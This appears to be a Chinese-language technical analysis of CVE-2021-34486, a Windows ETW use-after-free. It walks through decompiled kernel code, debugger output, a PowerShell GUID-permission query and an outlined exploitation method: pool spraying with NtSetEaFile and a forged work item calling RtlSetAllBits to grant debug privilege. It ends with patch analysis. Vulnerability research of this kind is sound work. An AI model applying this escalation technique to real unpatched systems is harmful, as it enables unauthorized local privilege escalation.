前言
CVE-2021-34486是在ETW请求更新周期性捕获中的UAF漏洞,可以通过分配可控的缓冲区,释放,二次使用该缓冲区来执行任意代码。
01 影响版本
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34486
02 ETW相关
ETW是内核中一个高效的事件追踪机制,可以记录系统内核或者应用程序的事件到日志文件。
ETW主要由三部分组成:
Controllers(事件控制器),用来开关event trace 会话 和 Providers。
Providers(事件提供器), 用来提供事件。
Consumers(事件消耗器),用来处理事件。
Sessions(事件管理器),用来管理和刷新事件。
03 逆向分析
在NtTraceControl函数中,通过FunctionCode(0x25)来控制调用EtwpUpdatePeriodicCaptureState函数。
__int64 __fastcall NtTraceControl(
unsigned int a1,
unsigned int *a2,
unsigned int a3,
volatile void *a4,
unsigned int Length,
unsigned int *a6)
{
···
case 0x25u:
if ( v18 < 0xC )
goto LABEL_61;
NumOfGuids = *((unsigned __int16 *)LoggerId + 4);
if ( (unsigned int)NumOfGuids <= 0x10 )
{
DueTime = *((_DWORD *)LoggerId + 1);
if ( DueTime - 1 > 3 )
{
if ( 16 * NumOfGuids + 12 == v18 )
{
if ( (_WORD)NumOfGuids )
Guids = (char *)LoggerId + 12;
EtwpUpdatePeriodicCaptureState(*(_DWORD *)LoggerId, DueTime, NumOfGuids, Guids);
···
}
EtwpUpdatePeriodicCaptureState函数的参数的逆向,其中第二个参数DueTime来源于EtwpUpdatePeriodicCaptureState函数中相关使用进行逆向得出,由于第二个参数DueTime只在函数最后使用,而ExSetTimer是用来设置定时器的时间,所以可知参数二为定时器时间。
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int LoggerId,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
v18 = 0xFFFFFFFFFF676980ui64 * DueTime;
LoggerContext_->RelativeTimerDueTime = v18;
ExSetTimer((ULONG_PTR)PeriodicCaptureStateTimer, v18, 0i64, (__int64)&v24);
···
}
再配合动态调试可知,第一次进入EtwpUpdatePeriodicCaptureState,rdx为0,因为并未设置定时器时间,然后观察参数3 r8和r9内存的值可知,参数3代表GUID的数量,参数4代表GUID。
0: kd> ba e1 nt!EtwpUpdatePeriodicCaptureState
0: kd> g
Breakpoint 0 hit
nt!EtwpUpdatePeriodicCaptureState:
fffff801`7793aeb4 48895c2410 mov qword ptr [rsp+10h],rbx
1: kd> r
rax=ffffab0db805824c rbx=000000000000001c rcx=000000000000001f
rdx=0000000000000000 rsi=ffffab0db8058240 rdi=0000000000000000
rip=fffff8017793aeb4 rsp=ffffcc8e375c69d8 rbp=ffffcc8e375c6b80
r8=0000000000000001 r9=ffffab0db805824c r10=fffff80177000000
r11=0000000000001001 r12=ffffab0db805824c r13=000000f50d73f420
r14=000000000000001c r15=ffffe50a8e67b000
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
nt!EtwpUpdatePeriodicCaptureState:
fffff801`7793aeb4 48895c2410 mov qword ptr [rsp+10h],rbx ss:0018:ffffcc8e`375c69e8=000000000000001c
1: kd> dd r9
ffffab0d`b805824c 14f8138e 580b3b61 09264b54 60e48a37
ffffab0d`b805825c 006d0061 03030000 3066744e 00780065
ffffab0d`b805826c 00000065 b6a5d9a0 ffffab0d b8142468
ffffab0d`b805827c ffffab0d 03ccb'586 000000a0 00000000
ffffab0d`b805828c 00000000 0303ff00 74705041 0064006e
ffffab0d`b805829c 0077006f 42424242 42424242 42424242
ffffab0d`b80582ac 42424242 42424242 42424242 00380061
ffffab0d`b80582bc 00340031 03030000 64536553 00320065
所以可得出当前的结构为
typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
ULONG LoggerId;
ULONG DueTime;
ULONG NumOfGuids;
GUID Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE;
而EtwpUpdatePeriodicCaptureState函数中的TimerContextInfo结构,分配了EtwU池标记的 0x30 字节的pool,只能配合逆向进行动态调试得到相关结构为:
typedef struct _CONTEXTINFO
{
WORK_QUEUE_ITEM WorkItem;
ULONG64 Unknown;
USHORT LoggerId;
UCHAR Padding[6]; //不重要数据用padding填充
} CONTEXTINFO, *PCONTEXTINFO;
总而言之,在逆向过程中,需要配合泄露的xp源码,以及ReactOS源码,动静态配合调试逆向得出结论。
04 漏洞分析
该漏洞发生在ETW中更新定期捕获状态的EtwFunctionUpdatePeriodicCaptureState函数中,使用NtTraceControl函数中switch语句处理参数0x25即可达到该函数。
在触发时,总计需要发送三次更新捕获状态请求。
第一次
首先确保所有的Guid[]在this中都有访问权限
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int NotificationHeader,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
if ( (_DWORD)v5 )
{
while ( 1 ) // 保证所有guid都具有访问权限
{
v6 = EtwpCheckNotificationAccess(&Guids[16 * v4], LoggerContext_ + 292);// 第一次进入函数满足检查进入该函数
if ( v6 < 0 ) // 第二次进入的时候 跳转
break;
if ( ++v4 >= (int)v5 )
goto LABEL_8; // 第一次跳走
}
v6 = -1073741790;
v8 = 0;
goto LABEL_21; // 第二次跳走执行free
}
···
}
随后申请0x30大小的EtwU的pool,并设置TimerContextInfo的相关参数。并且设置ExAllocateTimer函数的参数,该函数中的第二个参数存着SendCaptureStateNotificationsWorker函数的地址。ExAllocateTimer函数的调用规则是当定时器到期时系统调用该函数。
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int NotificationHeader,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
if ( !*(_QWORD *)(LoggerContext_ + 1088) ) // 进入(第一次
{
TimerContextInfo = (_CONTEXTINFO *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x30ui64, 'UwtE');// 只在第一次时allocat
v7 = TimerContextInfo;
if ( !TimerContextInfo )
goto LABEL_14;
TimerContextInfo->LoggerId = v21;
TimerContextInfo->Unknown = v23;
TimerContextInfo->WorkItem.WorkerRoutine = SendCaptureStateNotificationsWorker;// 第一次设置,
// 第二次调用函数之后,该回调函数被执行,
// 由于free分支PeriodicCaptureStateGuids.ProviderCount被设置为0,
// 该函数只会简单的将LoggerContext->PeriodicCaptureStateTimerState = EtwpPeriodicTimerUnset
TimerContextInfo->WorkItem.Parameter = TimerContextInfo;
TimerContextInfo->WorkItem.List.Flink = 0i64;
*(_QWORD *)(LoggerContext_ + 1088) = ExAllocateTimer(
(__int64)&PeriodicCaptureStateTimerCallback,
(__int64)TimerContextInfo,
8u);
}
*((_QWORD *)&v24 + 1) = -1i64;
v17 = *(_QWORD *)(LoggerContext_ + 1088);
v18 = -10000000i64 * DueTime;
*(_QWORD *)(LoggerContext_ + 1064) = v18;
ExSetTimer(v17, v18, 0i64, &v24); // 设置Timer
*(_DWORD *)(LoggerContext_ + 1096) = 1;
goto LABEL_27;
···
}
}
1: kd> p
nt!EtwpUpdatePeriodicCaptureState+0x19b:
fffff801`7793b04f 4c8bf0 mov r14,rax
1: kd> !pool rax
Pool page ffffe50a93453990 region is Nonpaged pool
ffffe50a93453000 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453040 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453080 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a934530c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453100 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453140 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453180 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a934531c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453200 size: 40 previous size: 0 (Allocated) DxgK
ffffe50a93453240 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453280 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a934532c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453300 size: 40 previous size: 0 (Allocated) RLli
ffffe50a93453340 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453380 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a934533c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453400 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453440 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453480 size: 40 previous size: 0 (Allocated) RLli
ffffe50a934534c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453500 size: 40 previous size: 0 (Allocated) RLli
ffffe50a93453540 size: 40 previous size: 0 (Allocated) RLli
ffffe50a93453580 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a934535c0 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453600 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453640 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453680 size: 40 previous size: 0 (Allocated) Vi28
ffffe50a934536c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453700 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453740 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453780 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a934537c0 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453800 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453840 size: 40 previous size: 0 (Allocated) ReTa
ffffe50a93453880 size: 40 previous size: 0 (Allocated) RLli
ffffe50a934538c0 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453900 size: 40 previous size: 0 (Allocated) CcPn
ffffe50a93453940 size: 40 previous size: 0 (Allocated) DxgK
*ffffe50a93453980 size: 40 previous size: 0 (Allocated) *EtwU //alloca
Pooltag EtwU : Etw Periodic Capture State, Binary : nt!etw
第二次
在第二次的请求中,如果任何一个Guids[]在检索中没有通知访问权限,执行Free函数,并将LoggerContext->NumOfGuids置为0,此时的DueTime已经过期,并且执行SendCaptureStateNotificationsWorker函数释放指针。
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int NotificationHeader,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
LABEL_21:
Guidspool = *(void **)(LoggerContext_ + 1080);
if ( Guidspool )
{
ExFreePoolWithTag(Guidspool, 0); // 第二次进入函数 进入free
*(_QWORD *)(LoggerContext_ + 1080) = 0i64;
*(_WORD *)(LoggerContext_ + 1072) = 0; // PeriodicCaptureStateGuids.ProviderCount重置为0
}
···
}
void __fastcall SendCaptureStateNotificationsWorker(PVOID TimerContextInfo)
{
···
···
if ( TimerContextInfo )
{
v3 = EtwpAcquireLoggerContextByLoggerId(
*((_QWORD *)TimerContextInfo + 4),
*((unsigned __int16 *)TimerContextInfo + 20),
0);
v22 = v3;
v4 = v3;
if ( v3 )
{
v5 = (volatile signed __int64 *)(v3 + 704);
ExAcquirePushLockExclusiveEx(v3 + 704, 0i64);
*(_DWORD *)(v4 + 1096) = 0;
if ( *(_DWORD *)(v4 + 336) )
{
v6 = *(unsigned __int16 *)(v4 + 1072);
if ( (_WORD)v6 ) //置0不进入
{
v21 = *(unsigned __int16 *)(v4 + 1072);
PoolWithTag = ExAllocatePoolWithTag(PagedPool, 16i64 * v6, 0x74777445u);
···
···
LABEL_30:
EtwpReleaseLoggerContext(v4, 0i64);
if ( v2 )
return;
goto LABEL_31;
}
*((_QWORD *)&v24 + 1) = -1i64;
ExAcquirePushLockExclusiveEx(v5, 0i64);
if ( *(_WORD *)(v4 + 1072) && !*(_DWORD *)(v4 + 1096) )
{
ExSetTimer(*(_QWORD *)(v4 + 1088), *(_QWORD *)(v4 + 1064), 0i64, &v24);
*(_DWORD *)(v4 + 1096) = 1;
v2 = 1;
}
}
}
}
if ( (_InterlockedExchangeAdd64(v5, 0xFFFFFFFFFFFFFFFFui64) & 6) == 2 ) //跳转到此处
ExfTryToWakePushLock(v5);
KeAbPostRelease(v5);
goto LABEL_30;
}
}
LABEL_31:
ExFreePoolWithTag(TimerContextInfo, 0); // 释放指针
}
第三次
第三次控制Guids[]都有通知权限,与第一次一样,不同的是,不会申请内存,并且不会设置LoggerContext,只会设置EtwpPeriodicTimerSet,当系统再次调用SendCaptureStateNotificationsWorker函数时,TimerContextInfo指针已经被释放,导致UAF。
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int NotificationHeader,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
if ( !LoggerContext_->PeriodicCaptureStateTimer )
{
TimerContextInfo = (_CONTEXTINFO *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x30ui64, 'UwtE');
v7 = TimerContextInfo;
if ( !TimerContextInfo )
goto LABEL_14;
TimerContextInfo->LoggerId = v21;
TimerContextInfo->Unknown = v23;
TimerContextInfo->WorkItem.WorkerRoutine = SendCaptureStateNotificationsWorker;
TimerContextInfo->WorkItem.Parameter = TimerContextInfo;
TimerContextInfo->WorkItem.List.Flink = 0i64;
LoggerContext_->PeriodicCaptureStateTimer = (struct _EX_TIMER *)ExAllocateTimer(
(__int64)&PeriodicCaptureStateTimerCallback,
(__int64)TimerContextInfo,
8u);
}
*((_QWORD *)&v24 + 1) = -1i64;
PeriodicCaptureStateTimer = LoggerContext_->PeriodicCaptureStateTimer;
v18 = 0xFFFFFFFFFF676980ui64 * DueTime;
LoggerContext_->RelativeTimerDueTime = v18;
ExSetTimer((ULONG_PTR)PeriodicCaptureStateTimer, v18, 0i64, (__int64)&v24);// 设置Timer
LoggerContext_->PeriodicCaptureStateTimerState = EtwpPeriodicTimerSet;
···
}
05 寻找GUID
ETW通知机制是提供者和使用者形成的事件通知机制,当发送通知时,实际上是GUID在工作,而每个GUID都有特定的权限,我们需要找到合适的GUID才行。权限表如下:
Constant | Symbolic Name | Generic Mapping (ETW) | Generic Mapping (WMI) |
---|---|---|---|
0x0001 | WMIGUID_QUERY | read | read |
0x0002 | WMIGUID_SET | write | write |
0x0004 | WMIGUID_NOTIFICATION | read | |
0x0008 | WMIGUID_READ_DESCRIPTION | read | |
0x0010 | WMIGUID_EXECUTE | execute | execute |
0x0020 | TRACELOG_CREATE_REALTIME | write | |
0x0040 | TRACELOG_CREATE_ONDISK | write | |
0x0080 | TRACELOG_GUID_ENABLE | execute | |
0x0100 | TRACELOG_ACCESS_KERNEL_LOGGER | ||
0x0200 | TRACELOG_LOG_EVENT | execute | |
0x0400 | TRACELOG_ACCESS_REALTIME | execute | |
0x0800 | TRACELOG_REGISTER_GUIDS | execute |
而在该漏洞中需要寻找权限为0x80的TRACELOG_GUID_ENABLE,并且对应的用户权限为Everyone、Users等权限较低的用户。
使用Powershell以及以下命令查看系统中认证用户的GUID(在这里找到其他低权限的其实也行),并且权限为0x80,其中S-1-5-11代表认证用户的权限,详情见MSDN。
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security"
foreach($line in (Get-Item $RegPath).Property) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-5-11 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x80) { $line; $mask.AccessMask.ToString("X")}}
需要注意的是,这个脚本在漏洞cve-2020-1034中也用到过,即以后碰到ETW漏洞需要找系统中某些权限的GUID时,可以使用此命令寻找,只需要更改SID以及Mask即可。
PS C:\Windows\system32> $RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security"
PS C:\Windows\system32> foreach($line in (Get-Item $RegPath).Property) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-5-11 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x80) { $line; $mask.AccessMask.ToString("X")}}
14f8138e-3b61-580b-544b-2609378ae460
1204E1
541dae91-cc3c-5807-b064-c2561c16d7e8
1204E1
cb2ff72d-d4e4-585d-33f9-f3a395c40be7
1204E1
通过找到的GUID,绕过EtwpCheckNotificationAccess函数的判断,控制参数,发送请求即可触发漏洞。
06 利用方法
该漏洞首先需要做到的是使用堆喷技术分配0x30大小的NoPagedPool,回收使用已释放的Pool。
1.首先从ntdll中,导出并找到NtQuerySystemInformation,NtSetEaFile等函数的基地址,根据偏移获得RtlSetAllbits函数地址。
使用NtSetEaFile函数进行堆喷占位TimerContextInfo对象,a4为直接控制参数,随后在IopVerifierExAllocatePoolWithQuota中分配内存。
__int64 __fastcall NtSetEaFile(int a1, unsigned __int64 a2, unsigned __int64 a3, ULONG a4)
{
···
if ( a4 )
{
v35 = 0;
PoolWithQuota = (struct _FILE_FULL_EA_INFORMATION *)IopVerifierExAllocatePoolWithQuota(0i64, a4);
Irp->AssociatedIrp.MasterIrp = (_IRP *)PoolWithQuota;
memmove(PoolWithQuota, v4, a4);
v30 = IoCheckEaBufferValidity(PoolWithQuota, a4, &ErrorOffset);
v36 = v30;
···
}
PVOID __fastcall IopVerifierExAllocatePoolWithQuota(__int64 a1, SIZE_T a2)
{
PVOID result; // rax
if ( !ViVerifierEnabled
|| (VfRuleClasses & 0xFFAFFFFF) == 0
&& (VfRuleClasses & 0x200000000i64) == 0
&& (VfRuleClasses & 0x400000000i64) == 0 )
{
return ExAllocatePoolWithQuotaTag(NonPagedPoolNx, a2, 0x20206F49u);//分配大小
}
result = ExAllocatePoolWithTagPriority(
NonPagedPoolNx,
a2,
0x20206F49u,
(EX_POOL_PRIORITY)((MmVerifierData & 0x10 | 0x40u) >> 1));
if ( !result )
RtlRaiseStatus(3221225626i64);
return result;
}
2.伪造FakeContextInfo结构,并使其满足。
FakeContextInfo->WorkItem.List.Flink= 0
FakeContextInfo->WorkItem.WorkerRoutine=RtlSetAllBits基地址
FakeContextInfo->WorkItem.Parameter` = `RTL_BITMAP FakeBitMapHeader
3.先发送两次更新状态请求,第一次申请Pool,设置参数等,第二次释放Pool。
4.回收释放的Pool FakeContextInfo,发送第三次更新状态请求触发使用FakeContextInfo,给当前进程增加SE_DEBUG_PRIVILEGE权限,从而提权。
07 补丁分析
在EtwpUpdatePeriodicCaptureState函数内部做出了一些改变,当GUID权限校验失败后,不会将LoggerContext->NumOfGuids置为 0,从而导致在SendCaptureStateNotificationsWorker函数中不会进行直接去释放指针的操作。
__int64 __fastcall EtwpUpdatePeriodicCaptureState(
unsigned int LoggerId,
unsigned int DueTime,
unsigned __int16 NumOfGuids,
char *Guids)
{
···
LABEL_24:
EtwpReleaseLoggerContext(LoggerContext_, 0i64);
return (unsigned int)v5;
···
}
参考
1.EXP以及作者文章:https://github.com/KaLendsi/CVE-2021-34486
2.ETW相关:https://docs.microsoft.com/zh-cn/windows-hardware/test/weg/instrumenting-your-code-with-etw
3.GUID权限:https://www.geoffchappell.com/notes/windows/etw/security.htm
4.CVE-2020-1034:https://windows-internals.com/exploiting-a-simple-vulnerability-in-35-easy-steps-or-less/
5.ETW信息泄露:https://windows-internals.com/exploiting-a-simple-vulnerability-part-1-5-the-info-leak/
6.可以控制的内核pool方式:https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/